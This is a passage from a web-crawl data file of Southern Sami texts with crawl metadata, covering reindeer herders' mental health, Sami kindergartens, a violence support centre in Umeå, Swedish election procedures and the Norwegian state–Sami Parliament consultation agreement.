jealaKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:189511\/resource:1:189137","date":"2019-05-26T00:33:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258453.85\/warc\/CC-MAIN-20190525224929-20190526010929-00023.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":303,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eah åejvieladtjide leajhtedh\nJaepien 2016 dotkemereektehtsem \"Båatsoen aarkebiejjie, sisnjelds jïh byjngetje tsiehkieh mah båatsoealmetjidie tsevtsieh\" bæjhkoehtin. Taalh goerehtimmeste vuesiehtieh joekoen åarjelsaemien dajve lea psykiske deadtoven nuelesne. Akte dejstie fåantojste, dotkiji mietie, lea åarjelsaemieh eah leah ajve akte nöörjen unnebelåhkoe men aaj akte unnebelåhkoe Saepmesne. Snefrid Møllersen lea psykologespesialiste SANKS:sne jïh lea akte dejstie mij lea reektehtsem tjaaleme. Dïhte veanhta dïhte nåake tsiehkie, maam jeenjesh åejvieladtjide utnieh, lea akte healsoedåeriesmoere.\n– Dïhte vihkielommes maam mijjieh dotkemebarkosne gaavneme lea dïhte mij lea båatsoealmetji vuajnoen bïjre åejvieladtjide. Doh jeanatjommesh demtieh åejvieladtjh sijjem nåakelaakan gorredieh jïh vaarjelieh, jïh åejvieladtjh eah naan ïedtjem utnieh guktie dej jielede lea. Dïhte mij lea joekoen itjmies lea Nöörjen årrojh aktem hijven leajhtadimmiem åejvieladtjide utnieh, mearan saemiej luvnie åarjelsaemien dajvine daate leajhtadimmie ij mahte gååvnesh. Jeenjesh mejgujmie mijjieh libie soptsestamme vienhtieh daate faatoes leajhtadimmie lea dan åvteste åejvieladtjh eah dejtie goltelh. Jïh dan nåakebe datne damth siebriedahke datnem pryöjjede dan vaenebe damth datne govlesovvh. Illedahke destie lea nåake psykiske healsoe jïh nåake jieledekvaliteete, Møllersen tjïelkeste mij veanhta daelie hov tïjje båateme åejvieladtjh tjuerieh åarjelsaemien byjresem vielie goltelidh.\n– Jis dah eah goltelh dellie leah vaahresne nænnoestimmieh jïh öörnegh darjodh mah skaarese sjidtieh healsose, Møllersen veanhta.\nÅarjelsaemien gïele tjuara itjmieslaakan vaaltasovvedh\nElin Fjellheim Svahken Sïjteste ij leah ierielimmesne destie mij vååjnesasse båata dotkemereektehtsisnie. Dïhte veanhta daelie gujht åejvieladtjh tjuerieh aelkedh vielie goltelidh dejtie åarjelsaemien gïelide.\n– Man åvteste ij leah daam gaavneme aarebi, åejvieladtjh jïh saemiedigkie lin byöreme maam akt dejnie darjodh låångke. Mijjieh nöörjen siebriedahken raedtesne jïh aaj akte saemien raedtie. Destie aktem guektiengïerth effektem åådtje jïh dan åvteste manne vïenhtem dah lin byöreme dam gaavnedh låångke. Åejvieladtjh aktem stoerre dïedtem utnieh gosse dan tjyövlehke vuajna daesnie dan vaenie leajhtadimmie åejvieladtjide, daate akte demokrateles dåeriesmoere, Fjellheim tjïelkeste.\nTjuara maam darjodh\nSaemiedigkieraerie Silje Karine Muotka jeahta daelie maa åejvieladtjh tjuerieh maam darjodh. Mubpien våhkoen barkoe aalka gusnie edtja båatsoelaakem gïehtjedidh. Laakemoenehtse edtja gaskem jeatjah dejtie sisnjelds tsiehkide båatsosne vuartasjidh jïh jarkelimmieh raeriestidh. Muotka aavode raeriestimmieh vuejnedh mah aaj sijhtieh leajhtadimmiem åejvieladtjide lissiehtidh. Daan biejjien ij naan ektieareenah båatsose jïh åejvieladtjide, gusnie maehtieh daejtie aamhtesidie digkiedidh.\n– Jis lij akten jeatjah jielemen bïjre orreme mij idtji leajhtadimmiem åejvieladtjide utnieh, dellie dïhte lij bijjiebaakoejne orreme gaajhkine meedijinie. Ibie naan ektieårgaanem utnieh åejvieladtjide jïh saemien ïedtjide båatsoen sisnjelen, mænngan dajveståvroeh nåhkin. Doh staateles åejvieladtjh jïh ministere tjuerieh buajhkedh mijjieh ibie maehtieh politihkine jïh reereminie jåerhkedh dan vaenie leajhtadimmine. Mijjieh aktem jïjtsh laakemoenehtsem tseegkeme mij sov voestes tjåanghkoem åtna mubpien våhkoen. Manne aavodem moenehtsen juvnehtimmieh dåastodh. Laakemoenehtse edtja göökte jaepieh barkedh, gusnie edtja laakide jïh reeremem gïehtjedidh. Dah sån sijhtieh jarkelimmieh raeriestidh mah maehtieh leajhtadimmiem reeremasse nænnoestehtedh. Gaatesjen staate departemeenten baaktoe ij leah sïjhteme meatan årrodh moenehtsisnie, Muotka lahteste.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/samimag.no\/sma\/content\/eah-aejvieladtjide-leajhtedh","date":"2019-05-25T15:16:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258120.87\/warc\/CC-MAIN-20190525144906-20190525170906-00006.warc.gz","language":"sma","language_score":0.999999404,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999994039535522}","num_words":440,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aktene ektie-bïejeme tjaalegisnie ij leah ajve dïhte mij tjaalasåvva baakoejgujmie jïh bokstaavigujmie. Ektie-bïejeme tjaalegisnie dovne teeksth, guvvieh jïh\/ jallh tjoejh mah aktese bïejeme. Ektie-bïejeme tjaalegh leah vuesiehtimmien gaavhtan guvvie, musihke, reklaame, filme, guvvie-raajroe j.n.v.\nGosse edtjebe ektie-bïejeme tjaalegem tjaeledh dellie jienebh joekehts soptsestimmie-vuekieh nuhtjebe. Jis edtjebe musihke-videoem darjodh dellie mijjieh dovne musihkem, baakoeh, guvvieh jïh daanhtsoem utnebe. Doh ovmessie soptsestimmie-vuekieh aktem elliesvoetem sjugniedieh. Akte vihkeles fåantoe man åvteste mijjieh ektie-bïejeme tjaalegh darjobe, lea doh ovmessie soptsestimmie-vuekieh ovmessie funksjovnh utnieh. Akte guvvie maahta vuesiehtidh guktie akte almetje vååjnoe, mearan baakoeh maehtieh soptsestidh almetjen nommem, man båeries lea jïh man åvteste guvvie destie. Gosse edtjebe ektie-bïejeme tjaalegh darjodh dellie vihkele mijjieh daejrebe guktie maehtebe joekehts soptsestimmieh nuhtjedh. Daennie kapihtelisnie dovne faage-sæjroe jïh learoe-baalka.\nGuvvie-raajroe\nGuvvie-raajroe akte sjangere gusnie dovne guvvieh jïh teekstem nuhtjebe juktie vaajesem soptsestidh. Gååvnese aaj naan gille guvvie-raajroeh gusnie ajve guvvieh.\nGuvvie-raajroeKjernestoff\nMah ektie-bïejeme tjaalegh gååvnesieh?Kjernestoff\nGuktie ektiebïejeme tjaalegh bigkedhKjernestoff\nGuvvie-raajroej bïjreKjernestoff\nRuvtahKjernestoff\nBoblah jïh effekte-tjoejhKjernestoff\nGuvvie-biehkieKjernestoff\nGuvvie-haerieKjernestoff\nSubjektijve guvvieKjernestoff\nÅvte jïh duekieKjernestoff\nStuerebh baakoehKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175143\/topic:1:175146","date":"2019-05-25T20:01:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258439.57\/warc\/CC-MAIN-20190525184948-20190525210948-00530.warc.gz","language":"sma","language_score":0.9999804497,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999804496765137}","num_words":166,"character_repetition_ratio":0.135,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nasjonaale barkeminie akten jollebe kvaliteeten åvteste maanagïertine. Saemiedigkie barkeminie kvaliteetem nænnoestehtedh saemien maanagïertine. Naemhtie vihkelesvoete aktede hijven maanagïertefaalenasseste lea tjïertestamme. Mijjieh gaskem jeatjah dam vuejnebe akten orre njoelkedassen tjïrrh mij muana man gellie geerve almetjh mah edtjieh maanagïertine barkedh, gïelekrïevenassh maanagïertelohkehtæjjide, maahtoestrategije jïh orre mieriesoejkesje maanagïertide.\nSaemien maanagïertesuerkie stoerre haestemi uvte tjåådtje. Saemien maanagïertesuerkie edtja dovne nasjonaale åejvieladtji krïevenassi mietie årrodh jïh seamma tïjjen saemien siebriedahken veanhtadimmieh jïh krïevenassh illedh juktie saemien gïelem, kultuvrem jïh siebriedahkejieledem gorredidh jïh evtiedidh.\nSaemiedigkie lea aktine saemien maanagïertefaalenassine barkeme guhkiem daelie. Aktine tjïelke barkojne nasjonaale åejvieladtji vööste dle sisvege aktene saemien maanagïertefaalenassesne nænnoesåbpoe sjïdteme dennie orre mieriesoejkesjisnie. Dïhte orre mieriesoejkesje saemien gïelem jïh kultuvrem eevre tjïelke jïh sjïerelaakan neebnie, jïh lea meatan vaaltasovveme abpe mieriesoejkesjisnie. Mieriesoejkesje, goh mieriedimmie maanagïertelaakese, ij leah gåessie gænnah saemien gïelem jïh kultuvrem dan tjïelkelaakan ållermaahteme, jïh dan åvteste daate akte sïlle åvtese saemien maanide maanagïertine.\nDïhte orre mieriesoejkesje krïevenassh beaja maanagïertebarkijidie jïh aajhteridie, jïh mænngan saemien sisvege lea nænnoesåbpoe sjïdteme jïh tjyölkehkåbpoe dorjesovveme mieriesoejkesjisnie dle Saemiedigkie daam bæjjese fulkie aktine maanagïerteprosjektine. Illedahkh prosjektesne maehtieh dåarjojne årrodh juktie orre mieriesoejkesjem sjïehtesjidh. Maanagïerteprosjekte edtja dïrreginie årrodh juktie tjïelkestidh mij akte saemien maanagïerte lea, mij saemien maanabijjiedimmie lea, guktie edtja nænnoes gïelemaalli mietie barkedh jïh mij lea saemien aarvoeh jïh njoelkedassh jïh ij goh unnemes guktie saemien kultuvrine barkedh maanagïertine. Daate akte joekoen stoerre prosjekte gusnie edtjebe vaestiedidh mij akte saemien maanagïerte lea.\nSaemiedigkie åtna goh akte seejere gosse jiene jienebh maanah aktem saemien faalenassem åadtjoeh maanagïertine. Dan åvteste vihkeles saemien maanagïertefaalenasse abpe Nöörjesne sjïdteminie jïh jienebh maanagïerth tseegkesuvvieh saemien faalenassine mah baejieh maanide saemien gïelem jïh kultuvrem åadtjodh.\nGoh våarome akten sjaavnjose vijriedamme maanagïertefaalenassen bïjre, taalh vuesiehtieh gellie saamastallije maanangïertelohkehtæjjah fååtesieh, jïh barkijh akten stoerre dyödtoven nuelesne gosse saemiengïeleldh byjresh leah smaave jïh jienebelåhkoen gïele jeenjemes åtnasåvva. Dan gaavhtan dle syjhtedassh mah mieriesoejkesjen tjïrrh bïejesuvvieh jïh lissiehtamme krïevenassh geerveveahkan bïjre eah leah akteraeresne dej rïektes taaligujmie saamastallije maanagïertelohkehtæjjaj bïjre. Dan åvteste daerpies aktine tjïelke barkojne dåårrehtimmine.\nAkte tjoevtenje daennie barkosne lea maanagïertelohkehtæjjaööhpehtimmieh mah vadtasuvvieh barkoesijjine mij gaskem jeatjah akte faalenasse Saemien Jïlleskuvlesne. Akte dagkeres ööhpehtimmie gusnie studeenth akte bielietïjjelohkemem dåeriedieh mearan maanagïertesne barkeminie. Lissine daerpies lissieööhpehtimmiejgujmie maanagïertepedagogihkesne, saemien gïelesne jïh saemien aerpievuekien daajrosne. Men daate tsïehkestahta vierhtieh lyjkesuvvieh saemien maahtoeevtiedæmman. Dåarjoedåehkie maanagïertelohkehtæjjaööhpehtæmman lea sov galhkuvereektehtsisnie Maahtoedepartemeentese reektehtsisnie nr. 5 2017 raeriestamme Saemien Jïlleskuvlese dah aktem maahtoejarngem tseegkieh lohkehtæjjaööhpehtimmide. Manne aavodem aktem aamhtesem buektedh dåårrehtimmien bïjre Saemiedigkien stoerretjåanghkose daan boelhken.\nGïelemoenehtse jeahta sov reektehtsisnie NBS 2016:18 Vaajmoegïele saemiengïeleldh maanagïerth leah dïhte vihkielommes aktegsråajvarimmie juktie saemien gïelh gorredidh, vaarjelidh jïh jieliehtidh. Maanagïertine mijjieh våaromem bïejebe saemien gïelese jïh kultuvrese. Jïh Saemiedigkien bieleste mijjieh itjmieslaakan dïjrem vaalteme mij NBS 2016:18 Vaajmoegïele jeahta: Nov lea daelie jallh ij gåessie gænnah saemien gïelide. Manne aavodem maanagïertide bæjjese fulkedh maanagïerteprosjekti tjïrrh, jïh ulmien vööste barkedh dåårrehtimmine maanagïertelohkehtæjjaööhpehtimmide.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Kronihke-Maanagierth-bigkeme-saemien-aarvojde-gielese-jih-kultuvrese","date":"2019-05-25T22:04:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258451.88\/warc\/CC-MAIN-20190525204936-20190525230936-00475.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":456,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.189,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jarnge njåvtasovvemen vööste\nCentrum mot våld\nJarnge njåvtasovvemen vööste lea sijjie mestie Maanajgåetie jïh Nyjsenæjjanraeffiedåastove. Almadåastove njåvtasovvemen vööste aaj sijjien meatan mohte jeatjah dajve Upmejisnie. Sijjie maam faala dovne njåvtasovveme nyjsenæjjide jïh maanide ektine reeremefaalaldahkh jïh aaj njuvteme almide soptsestalleme dåarjoem faala.\nMaanajgåetie\nMaanajgåetesne maana åådtje gaajhkh profesjovnellh seamma tahjoen nuelesne gaavnedidh jearsoes jïh maanide murries byjreske. Maana åådtje ekstesne dåarjoeviehkiem tjåanghkoe persovnalidie BUP´este (maana- jïh noerepsykiatrije), sosiaaletjaelijidie, polijsidie jïh dåakterem. Jis jeenjebh bïevnesh sïjhth Mannajgåetien barkoen bïrje åadtjodh, bieljeldh ektiegïetedallije Karin Österberg telefovne 090-16 58 89.\nSovmh maanam ïrhkeme jallh njåvtasåvva, bieljeldh dallegh dåastovem telefovne 090-16 10 02.\nNyjsenæjjanraeffiedåastove\nJis datne goh nyjsenæjja lea psykijhken, fysijhken, sexualen, ekonomijen jallh aatijen njåvtasovvemem orreme maahtah 020-410 420 ringkedh jallh mejlem firstname.lastname@example.org seedth. Ih daarpesjh dov nommem jiehtedh.\nNyjsenæjjanraeffiedåastovisnie maahtah datne gie njåvtasovveme nyjsenæjja, aelhkies jïh jearsoes sijjie, ektesne reeremedåarjoem dov daarpoej mietie åådtje. Jis dov leah maanah dejtie aaj dåarjoem faala. Maahtah soptsestalleme dåarjoem, viehkiem gyhtjelassh ekonomijen jallh årromesijjien bïjre, viehkiem guktie reeremh ekstesne barkedh, dåakterem råakedh, eejhteghdåarjoem jallh tjaalasovvemem polijsesasse darjodh.\nÅlmadåastove njåvtasovvemen vööste\nJis datne alma gie ij maehtieh dov saknoem gïetedalledh, lea dov partnerem njuvti jïh ij dam ikth vielie sæjhta darjodh, ij njuvtieh mohte destie bælla jallh maanide alveste maahtah 076-810 50 50 ringkedh.\nÅlmadåastovisnie njåvtasovvemen vööste mijjieh profesjovnellij vuekiem barkebe alman njuvtemem lihke relasjovnesne. Ulmie njuvtemem orrije. Dutnjien sjïere soptsestallemem jallh tjïertebarkoem faala.\nSidan har granskats 2019-01-03","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/jarngenjavtasovvemenvooste.4.2aeb902411d30c9e460800061586.html","date":"2019-06-27T06:32:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560628000894.72\/warc\/CC-MAIN-20190627055431-20190627081431-00421.warc.gz","language":"sma","language_score":0.9999912977,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999912977218628}","num_words":219,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Minngemosth ryökneme\nMåantan veeljemebiejjien mænngan aalka dïhte minngemosth ryökneme leeneståvrosne. Desnie gaajhkh tjaatsestimmieh ikth vielie ryöknoeh jïh daelie aaj gaajhkh persovnetjaatsestimmieh ryöknoeh.\nVeeljemisnie rïjhkebeajjan, tjïelte- jïh laantedigkiereeremidie edtja veeljemem rïjhkebeajjan voestes ryöknedh. Dan mænngan veeljemem tjïeltereeremasse jïh minngemes veeljemem laantedigkiereeremasse ryöknoeh. Medtie luhkie biejjieh veeljemebiejjien mænngan pråvhka dam minngemosth illedahkem veeljemisnie laantedigkiereeremasse maahta bæjhkoehtidh. Veeljemisnie Europa-parlameentese pråvhka dam minngemosth illedahkem riejries våhkoen minngiegietjesne veeljemen mænngan.\nAaj dam minngemosth tjaatsestimmieryöknemem maahta ryöktesth Veeljemeåejvieladtjen webbesijjesne dåeriedidh www.val.se.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/minngemosth-ryokneme.html","date":"2019-06-16T01:22:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627997508.21\/warc\/CC-MAIN-20190616002634-20190616024634-00061.warc.gz","language":"sma","language_score":0.9999836683,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9999836683273315}","num_words":75,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.107,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Veeljemesïetelh vuarjasjidh\nAjve luhpie tjaatsestimmieh meatan mandaatejoekedimmesne.\nLeeneståvroe vuarjesje veeljemelaaken mietie mah veeljemesïetelh luhpie jallh luhpehts jïh ryöknoe man gellie tjaatsestimmieh fïerhte krirrie leah åådtjeme. Seamma goerehtimmiem persovnetjaatsestimmide dorje, jïh luhpie persovnetjaatsestimmide ryöknoe.\nLuhpie veeljemesïetelh\nLuhpie veeljemesïetele krirrienommem åtna, krirrie mij lea bieljiesovveme dïhte meatan veeljemisnie. Maahta trygkeme nommeveeljemesïetele, krirrieveeljemesïetele jallh gåaroes veeljemesïetele gusnie veeljije krirrienommem tjaaleme.\nPersovnetjaatsestimmiem ryöknedh\nRïektes persovnetjaatsestimmie maahta kroessem kandidaaten åvteli nommeveeljemesïetelisnie jallh tjaaleme nomme veeljemesïetelisnie krærran mij ij leah dan kandidaath nåålesamme. Tjåådtje veeljemesïetelisnie guktie veeljije maahta persovnem tjaatsestidh.\nLuhpehts veeljemesïetelh\nVeeljemesïetele luhpehts jis dïhte:\n- ij krirrienommem åtna,\n- jienebh goh akte krirrienommem åtna (v.g jis göökte jallh jienebh veeljemesïetelh seamma skuahpesne jïh dej ovmessie krirrienommh utnieh), jallh\n- krirrienommem åtna mij ij leah bieljiesovveme dïhte meatan veeljemisnie, jallh\n- damtoesvæhtah åtna maam aajkojne dorjeme.\nVeeljemesïetelh krirrienommehts aaj gåaroes gohtje jïh sïejhmemes luhpehts tjaatsestimmijste. Gåaroes tjaatsestimmiej låhkoem sjïere reektese jeatjah luhpehts tjaatsestimmijste. Dah luhpehts veeljemesïetelh eah leah meatan mandaatejoekedimmesne.\nIj kandidaatenommide ryöknh\nNaan aejkien ij leeneståvroe edtjh kandidaatenommide veeljemesïetelisnie eajhnadovvedh, v.g jis:\n- veeljije lea göökte jallh jienebh kandidaatide kroesseme,\n- jienebh tjaatsestimmiesïetelh seamma skuahpesne seamma krirrienommine mohte ovmessie kandidaatenommine, jallh kroesse ovmessie kandidaatide,\n- krirrien veeljemesïetelem åtneme mij jeatjah rïjhkebiejjie-veeljemegievlesne\/tjïeltesne\/laantedigkesne.\nIj sjïere kandidaatenommem ryöknoeh\nNaan aejkien edtja leeneståvroe ij akte jallh gellie kandidaatenommh ryöknoeh:\njis kandidaate ij lea veeljedihks (dam goerehte bïevnesidie almetjetjaalegisnie veeljemebiejjesne),\njis nommem tjaaleme krærran mij leah dej kandidaatide nåålesamme (vuartesjh vuesiehtimmiem åelkiesbielesne).\nVuesiehtimmie: Veeljemesïetele luhpie men tjaatsestimmieryöknemisnie ij lissienommem ryöknoeh. Veeljemesïetele luhpie goh nommeveeljemesïetele kroessehts.\nLaahpehtimmie kandidaatenommh\nJïlhts kandidaatenommem laahpehtamme veeljemesïetelisnie nommem ryöknoeh. Laahpehtimmieh eah öörnegem krööhkesth kandidaati gaskem veeljemesïetelisnie.\nVuesiehtimmie: veeljemesïetele luhpie, men ij vuejnieh dam laahpehtimmiem. Veeljemesïetele luhpie nommeveeljemesïetelinie kroessehts vuarjesje.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljemesietelh-vuarjasjidh.html","date":"2019-06-27T00:25:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560628000609.90\/warc\/CC-MAIN-20190626234958-20190627020958-00165.warc.gz","language":"sma","language_score":0.9999529123,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999529123306274}","num_words":267,"character_repetition_ratio":0.151,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaatsestimmielåhkoe\nTjuara tjaatsestimmielåhkosne meatan dellie åådtje tjaatsestidh.\nDah tjaatsestimmielåhkoeh tseegkie fïerhten veeljemen åvteli jïh desnie ajve dah almetjh mah tjaatsestimmiereaktam utnieh daennie veeljemisnie. Tjaatsestimmielåhkoem fïereguhte veeljemedajvese tseegkie jïh veeljemesijjine dejtie nuhtjieh.\nDah gïeh mielieh fiejlie bïevnesh veeljemelåhkosne gååvnesieh tjuerieh dej bïjre tjaaleldh krïevedh dejtie bïevnesidie staeriedidh. Krïevemem tjuara leeneståvrosne seejnemes 12 biejjieh veeljemebiejjien åvteli.\nSveerjen årrojh ålkoelaantesne (ålkoelaantesvïenskh) maehtieh tjaatsestimmielåhkosne meatan jis ålkoelaantese juhtiejin dej seejnemes luhkie jaepiej jallh jis dah seejnemes 30 biejjieh veeljemebiejjien åvteli nåålesamme Skaehtievierhkese dah sijhtieh tjaatsestimmielåhkose tjaalasovvedh. Nåålesimmiem dorje gosse adressebïevnesem Skaehtievierhkese seedtedh. Sjïere tjaatsegem gååvnese ålkoelaantesvïenskide mij sijhtieh tjaatsestimmielåhkose nåålesidh.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/info.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/tjaatsestimmielahkoe.html","date":"2019-06-19T03:53:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998882.88\/warc\/CC-MAIN-20190619023613-20190619045613-00127.warc.gz","language":"sma","language_score":0.9999861717,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999861717224121}","num_words":94,"character_repetition_ratio":0.14,"word_repetition_ratio":0.0,"special_characters_ratio":0.11,"stopwords_ratio":0.043,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Suehpeden 11. b. 2005 don aejkien staateraerie mij dïedtem utni saemien aamhtesi åvteste Erna Solberg jïh don aejkien saemiedigkiepresidente Sven-Roald Nystø latjkoem rååresjimmievuekiej bïjre vuelietjeelin staateles åejvieladtji jïh Saemiedigkien gaskem. Saemiedigkie latjkoem jååhkesji ruffien 1.b. 2005 jïh vihtiestamme sjïdti gånkan resolusjovnesne snjaltjen 1.b. 2006.\nRååresjimmielatjkoe ij Saemiedægkan nyöjhkemereaktam vedtieh dejnie aamhtesinie mah saemien ïedtjh tsevtsieh. Staateles åejvieladtjh jïh Stoerredigkie annje doh byjjes sjæjsjalimmieh vaeltieh.\nMen mubpene bielesne öörnege Saemiedægkan tsevtsemefaamoem jïh nuepiem vadta govlelgidh, naakede mij aaj lea aajkoe latjkojne. Dejnie aamhtesinie gusnie ovgeahpa Saemiedigkien jïh staateles åejvieladtji gaskem, daate våajnoes sjædta gosse reerenasse jïh stoerredigkie aamhtesidie gïetedieh.\n1. Aajkoe\nAajkoe prosedyrigujmie lea:\n● Viehkiehtidh aktine praktihkeles tjïrrehtimmine staaten almetjerïekteles åeliedimmeste aalkoealmetjigujmie rååresjidhk.\n● Pryövedh sïemesvoetem åadtjodh staateles åejvieladtji jïh Saemiedigkien gaskem gosse vuarjesjeminie laakh jallh råajvarimmieh sjïehtesjidh mah maehtieh saemien ïedtjh ryöktesth tsevtsedh.\n● Evtiedæmman sjïehteladtedh aktede guejmievoeteperspektijveste staateles åejvieladtji jïh Saemiedigkien gaskem mah saemien kultuvrem jïh siebriedahkem nænnoestehtieh.\n● ektie goerkesem evtiedidh guktie tsiehkie lea jïh evtiedimmiedaerpiesvoeten bïjre saemien siebriedahkine.\n2. Barkoesuerkie\nRååresjimmieprosedyrh leah faamosne reerenassese, departemeentide, direktoraatide jïh jeatjah nueliegællan gïehtelimmide.\n● Rååresjimmieprosedyrh leah faamosne aamhtesinie mah maehtieh saemien ïedtjh ryöktesth tsevtsedh. Dïhte sïejhme barkoesuerkie rååresjimmide maahta hov gaajhkesåarhts aamhtesi bïjre årrodh, goh laakh, mieriedimmieh, aktegsnænnoestimmieh, njoelkedassh, råajvarimmieh jïh sjæjsjalimmieh (v.g. stoerredigkiebïevnesinie).\n● Rååresjimmiedïedte maahta gaajhkesåarhts ideelle jïh materijelle saemien kultuvrehammoej bïjre årrodh. Sjyöhtehke aamhtesesuerkieh maehtieh v.g. årrodh musihke, teatere, lidteratuvre, tjeahpoe, meedija, gïele, religijovne, kultuvreaerpie, immaterijelle reaktah jïh aerpievuekien daajroe, sijjienommh, healsoe- jïh sosijaale, maanagïerth, ööhpehtimmie, dotkeme, eeke- jïh åtnoereaktah, arealedarjomh- jïh arealenuhtjemeaamhtesh, jielemeevtiedimmie, båatsoe, gööleme, laanteburrie, mineraalebarkoe, bïegkefaamoe, tjaetsiefaamoe, monnehke evtiedimmie, kultuvremojhtesevaarjelimmie, bio-gellievoete jïh eatnemevaarjelimmie.\n● Aamhtesinie mah leah ektiedamme dan materijelle kultuvrevåaroemasse, goh arealenuhtjemh, arealedarjomh jïh laantereaktah dellie dïhte geografeles barkoedajve rååresjimmide (aerpievuekien saemien dajvh) Finnmaarhke, Romse, Nordlaante jïh Noerhte-Trööndelagen fylhke, jïh tjïelth Osen, Roan, Åfjord, Bjugn, Rissa, Saalbuge, Meldal, Rennebu, Oppdal, Gaske Gauldal, Tydal, Holtålen jïh Rørosen tjïelte Åarjel-Trööndelagen fylhkesne, Engerdal jïh Rendalen, Os, Tolga, Tynset jïh Folldalen tjïelth Hedmaarhken fylhkesne, jïh Surnadal jïh Rindalen tjïelth Møre jïh Romsdalesne.\n● Aamhtesh sïejhme karakteereste, mejtie aervede sijhtieh abpe siebriedahkem tsevtsedh eah sïjhth rååresjimmiedïedten nualan båetedh.\n3. Bïevnesh\n● Staateles åejvieladtjh edtjieh ellies bïevnesh vedtedh sjyöhtehke aamhtesi bïjre mah maehtieh saemide ryöktesth tsevtsedh, jïh sjyöhtehke tsiehkiej bïjre gaajhkine daltesinie aamhtesegïetedimmesne.\n4. Byögkelesvoete\n● Edtja maehtedh bïevnesh, mejtie staateles åejvieladtjh jïh Saemiedigkie rååresjimmesne lotnedieh, byögkelesvoeten ålkolen hööltedh dastegh reaktavåarome dïsse gååvnese. Edtja vieliebyögkelesvoetem tjïrrehtidh. Guejmiej minngemosth vuajnoeh fïereguhtene aamhtesisnie edtjieh byögkeles årrodh.\n5. Staeries tjåanghkoeh\n● Edtja staeries bieliejaepien politihkeles tjåanghkoeh hööltedh staateraerien saemien aamhtesi åvteste jïh Saemiedigkiepresidenten gaskem. Faagestaateraerieh leah meatan daejnie tjåanghkojne daerpiesvoeten mietie. Dejnie staeries bieliejaepien politihkeles tjåanghkojne edtja bæjjese vaeltedh tsiehkiem jïh evtiedimmiedaerpiesvoetide saemien siebriedahkide, aamhtesh vihkeles prinsihpeles karakteereste jïh prosessh mah juhtieminie.\n● Edtja staeries bieliejaepien tjåanghkoeh hööltedh Saemiedigkien jïh gaskedepartementaale iktedimmiemoenehtsen saemien aamhtesi åvteste gaskem. Tjåanghkojne edtja gaskem jeatjah sjyöhtehke saemiepolitihkeles aamhtesi bïjre reektestidh dej båetiji aski.\n6. Sïejhme nænnoestimmieh rååresjimmieprosedyri bïjre\n● Rååresjimmieh Saemiedigkine edtjieh eerlege jïh rïektes årrodh jïh ulmie edtja årrodh sïemesvoetem jaksedh raeriestamme råajvarimmiej bïjre.\n●Staateles 